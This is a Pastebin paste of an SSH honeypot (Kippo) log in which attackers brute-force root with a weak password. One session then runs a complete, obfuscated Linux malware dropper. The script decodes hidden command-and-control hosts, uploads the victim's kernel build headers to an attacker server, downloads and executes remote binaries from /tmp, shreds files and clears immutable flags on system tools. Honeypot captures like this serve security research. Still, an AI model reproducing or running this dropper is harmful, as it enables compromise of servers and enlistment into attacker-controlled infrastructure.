Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 2014-12-11 15:39:09+0000 [SSH19077,104.149.220.27] root trying auth password
- 2014-12-11 15:39:09+0000 [SSH,19077,104.149.220.27] login attempt [root/123456] succeeded
- 2014-12-11 15:39:09+0000 [SSH,19077,104.149.220.27] root authenticated with password
- 2014-12-11 15:39:09+0000 [SSH,19077,104.149.220.27] starting service ssh-connection
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] root trying auth none
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] root trying auth none
- 2014-12-11 15:39:09+0000 [SSH,19077,104.149.220.27] got channel session request
- 2014-12-11 15:39:09+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19077,104.149.220.27] channel open
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] root trying auth password
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] login attempt [root/123456] succeeded
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] root authenticated with password
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] starting service ssh-connection
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] root trying auth password
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] login attempt [root/123456] succeeded
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] root authenticated with password
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] starting service ssh-connection
- 2014-12-11 15:39:09+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19077,104.149.220.27] executing command "__host_32__="sEEA+==deadefadcajc+jjjj"
- __host_64__="sEEA+==deadefadcaih+jjjj"
- __host_32_2__="sEEA+==cbeadgakaddh+jjjj"
- __host_64_2__="sEEA+==cbeadgakaddg+jjjj"
- __host_32_libc__="sEEA+==cbeadgakaddh+jjjj"
- __host_64_libc__="sEEA+==cbeadgakaddg+jjjj"
- __download_url__="sEEA+==deadefahbacfb=tyDElww=jbbj"
- __remote__="cbeadgakadfg+jbbj|cbeadfbacfcagb+jbbj|hhacbdadgeaeb+jbbj|yoyDaoDludlcazCr+jbbj|yoyDaoDludlazCr+jbbj|yoyDasnItlzlzanzx+jbbj|yoyDaoDludlanzx+jbbj"
- __username__='loxty'
- __password__='admin'
- __temp__=/tmp
- __install_dir__=/usr/local/bin
- __kernel__=`uname -r|awk -F- '{print $1}'`
- # select compiler server
- server(){
- __osv_X86_64=`dec 'Ijh_hf'`
- __osv_AMD64=`dec 'LXOhf'`
- __os_version_X86_64=`uname -a|grep "$__osv_X86_64"`
- __os_version_AMD64=`uname -a|grep "$__osv_AMD64"`
- if [ -f /lib/libc.so.6 ]; then
- __libc_main=`ls -la /lib/libc.so.6 | grep libc-|awk -F'libc-' '{print $2}'|awk -F'.' '{print $1}'`
- __libc_sub=`ls -la /lib/libc.so.6 | grep libc-|awk -F'libc-' '{print $2}'|awk -F'.' '{print $2}'`
- fi
- if [ ! -z "$__os_version_X86_64" -o ! -z "$__os_version_AMD64" ] ;then
- __online=`wget "$__host_64__/check.action?iid=$__iid&kernel=$__kernel__" --connect-timeout=3 -t 1 -q -O -`
- if [ ! -z "$__online" ]; then #
- __host__=$__host_64__
- else
- __host__=$__host_64_2__
- fi
- if [ -f /lib/libc.so.6 ]; then
- if [ $__libc_main -le 2 ]; then
- if [ $__libc_sub -le 5 ]; then
- __host__=$__host_64_libc__
- fi
- fi
- fi
- else
- __online=`wget "$__host_32__/check.action?iid=$__iid&kernel=$__kernel__" --connect-timeout=3 -t 1 -q -O -`
- if [ ! -z "$__online" ]; then #
- __host__=$__host_32__
- else
- __host__=$__host_32_2__
- fi
- if [ -f /lib/libc.so.6 ]; then
- if [ $__libc_main -le 2 ]; then
- if [ $__libc_sub -le 5 ]; then
- __host__=$__host_32_libc__
- fi
- fi
- fi
- fi
- }
- # check md5
- md5(){
- __data=`echo "$@"`
- echo -n "$__data"|md5sum|cut -d ' ' -f1
- return 0
- }
- # get os version
- version(){
- if [ -f /sbin/modinfo ]; then
- SYS=`/sbin/lsmod |tail -n 1 | awk ' {print $1} '`
- echo "`/sbin/modinfo $SYS|grep vermagic|awk -F: '{print $2}'|sed 's/^ *//g'|awk '{print $0}'|sed 's/ /\\\\ /g'`"
- fi
- return 0
- }
- checkBuild(){
- __build=/lib/modules/`uname -r`/build/
- if [ -d $__build ]; then
- return 1
- fi
- return 0
- }
- # generate header file
- generate(){
- __files=`ls $__build`
- tar zcfhP "$__temp__/dev.tgz" -C $__build $__files
- if [ $? -eq 0 ] ;then
- return 1
- fi
- return 0
- }
- # check header version
- check(){
- __iid=`echo "$@"`
- if [ ! -z "$__iid" ]; then
- __result=`wget "$__host__/check.action?iid=$__iid&kernel=$__kernel__" --connect-timeout=3 -t 3 -O - -q`
- if [ ! -z "$__result" ]; then
- __code=`echo $__result|awk -F "|" '{print $1}'`
- __md5=`echo $__result|awk -F "|" '{print $2}'`
- if [ $__code -eq 1001 ]; then
- return 1
- fi
- fi
- fi
- return 0
- }
- # download build file
- download(){
- __iid=`echo "$@"`
- if [ ! -z "$__iid" ]; then
- __url="$__host__/upload/module/$__iid/build.tgz"
- wget "$__url" -O /tmp/build.tgz -q --connect-timeout=3 -t 3
- if [ $? -eq 0 ];then #
- return 1
- fi
- fi
- return 0
- }
- download_and_execute(){
- wget "$__download_url__" -O /tmp/bin -q --connect-timeout=3 -t 3
- if [ $? -eq 0 ];then #
- chmod +x /tmp/bin
- /tmp/bin
- sleep 3
- rm -rf /tmp/bin
- return 1
- fi
- return 0
- }
- # remote compiler code
- compiler(){
- __iid=`echo "$@"`
- if [ ! -z "$__iid" ]; then
- __url="$__host__/compiler.action?iid=$__iid&username=$__username__&password=$__password__&ip=$__remote__&ver=$__version__&kernel=$__kernel__"
- __result=`wget "$__url" -O - -q --connect-timeout=3 -t 3`
- if [ ! -z "$__result" ]; then
- __code=`echo $__result|awk -F "|" '{print $1}'`
- __md5=`echo $__result|awk -F "|" '{print $2}'`
- if [ $__code -eq 1001 ]; then
- return 1
- fi
- fi
- fi
- return 0
- }
- # uncompress file
- uncompress(){
- __iid=`echo "$@"`
- if [ ! -z "$__iid" ]; then
- if [ ! -d $__temp__/$__iid ]; then
- mkdir $__temp__/$__iid
- fi
- tar zxvf $__temp__/build.tgz -C $__temp__/$__iid
- if [ $? -eq 0 ] ;then
- shred -u -z $__temp__/build.tgz
- return 1
- fi
- fi
- return 0
- }
- enc(){ echo $@|tr "[.0-9a-zA-Z\/\/\:]" "[a-zA-Z0-9\;-=+*\/]"; }
- dec(){ echo $@|tr "[a-zA-Z0-9\;-=+*\/]" "[.0-9a-zA-Z\/\/\:]"; }
- # install file
- setup(){
- __iid=`echo "$@"`
- if [ ! -z "$__iid" ]; then
- __bin=`echo "bin"`
- chmod +x $__temp__/$__iid/$__bin
- $__temp__/$__iid/$__bin
- if [ $? -eq 0 ]; then
- sleep 3
- rm -rf $__temp__/$__iid/$__bin
- return 1
- fi
- fi
- return 0
- }
- # upload
- upload(){
- rm -f /tmp/mini
- wget $__host__/upload/mini -O /tmp/mini -q --connect-timeout=3 -t 3
- if [ $? -eq 0 ];then #
- chmod +x /tmp/mini
- __url=$__host__/submit.action
- __result=`/tmp/mini --url="$__url" --post="username=$__username__&password=$__password__&ip=$__remote__&ver=$__version__&kernel=$__kernel__&file=@$__temp__/dev.tgz"`
- if [ ! -z "$__result" ]; then
- __code=`echo $__result|awk -F "|" '{print $1}'`
- __md5=`echo $__result|awk -F "|" '{print $2}'`
- if [ $__code -eq 1001 ]; then
- rm -f /tmp/mini
- return 1
- fi
- fi
- rm -f /tmp/mini
- fi
- return 0
- }
- # main entry
- main(){
- PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- __host_32__=`dec "$__host_32__"`
- __host_64__=`dec "$__host_64__"`
- __host_32_2__=`dec "$__host_32_2__"`
- __host_64_2__=`dec "$__host_64_2__"`
- __host_32_libc__=`dec "$__host_32_libc__"`
- __host_64_libc__=`dec "$__host_64_libc__"`
- __download_url__=`dec "$__download_url__"`
- __remote__=`dec "$__remote__"`
- __username__=`dec "$__username__"`
- __version__=`version`
- __iid=`md5 "$__version__"`
- __iid=`echo $__iid|tr [:lower:] [:upper:]`
- __done=0
- if [ ! -d /tmp ]; then
- mkdir /tmp
- fi
- if [ -f /usr/bin/wget ]; then
- chattr -i /usr/bin/wget
- chmod +x /usr/bin/wget
- fi
- if [ -f /bin/wget ]; then
- chattr -i /bin/wget
- chmod +x /bin/wget
- fi
- if [ -f /usr/bin/cut ]; then
- chattr -i /usr/bin/cut
- chmod +x /usr/bin/cut
- fi
- if [ -f /bin/cut ]; then
- chattr -i /bin/cut
- chmod +x /bin/cut
- fi
- server # select http server
- check $__iid
- if [ $? -eq 1 ];then
- compiler $__iid # remote compiler
- if [ $? -eq 1 ]; then
- __done=1
- fi
- else
- checkBuild
- if [ $? -eq 1 ];then
- generate # create header file
- if [ $? -eq 1 ]; then
- upload
- if [ $? -eq 1 ] ;then
- __done=1
- fi
- rm -rf $__temp__/dev.tgz
- else
- if [ -f $__temp__/dev.tgz ]; then
- rm -rf $__temp__/dev.tgz
- fi
- compiler $__iid # remote compiler
- if [ $? -eq 1 ]; then
- __done=1
- fi
- fi
- else
- compiler $__iid # remote compiler
- if [ $? -eq 1 ]; then
- __done=1
- fi
- fi
- fi
- if [ $__done -eq 1 ]; then
- download $__iid
- if [ $? -eq 1 ]; then
- uncompress $__iid
- if [ $? -eq 1 ]; then
- setup $__iid
- if [ $? -ne 1 ]; then
- __done=0
- fi
- else
- __done=0
- fi
- else
- __done=0
- fi
- fi
- if [ $__done -eq 0 ]; then
- download_and_execute
- fi
- rm -rf $__temp__/$__iid
- }
- main
- ls -la /var/run/mount.pid
- exit $?
- "
- 2014-12-11 15:39:09+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19077,104.149.220.27] Unhandled Error
- Traceback (most recent call last):
- File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
- return context.call({ILogContext: newCtx}, func, *args, **kw)
- File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
- return self.currentContext().callWithContext(ctx, func, *args, **kw)
- File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
- return func(*args,**kw)
- File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/channel.py", line 137, in requestReceived
- return f(data)
- --- <exception caught here> ---
- File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 68, in request_exec
- self.session.execCommand(pp, f)
- File "/home/honey/kippo-0.8/kippo/core/honeypot.py", line 464, in execCommand
- raise NotImplementedError
- exceptions.NotImplementedError:
- 2014-12-11 15:39:09+0000 [SSH,19078,23.228.196.60] got channel session request
- 2014-12-11 15:39:09+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19078,23.228.196.60] channel open
- 2014-12-11 15:39:09+0000 [SSH,19079,107.160.48.7] got channel session request
- 2014-12-11 15:39:09+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19079,107.160.48.7] channel open
- 2014-12-11 15:39:10+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,19078,23.228.196.60]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement